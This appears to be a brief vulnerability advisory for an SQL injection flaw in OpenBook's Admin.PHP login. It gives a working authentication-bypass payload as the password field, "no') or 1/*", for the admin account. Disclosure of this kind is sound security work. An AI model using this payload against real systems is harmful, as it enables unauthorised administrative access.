• info
• discussion
• exploit
• solution
• references

OpenBook Admin.PHP SQL Injection Vulnerability

No exploit is required.

A proof of concept follows:

User ID: admin
Password: no') or 1/*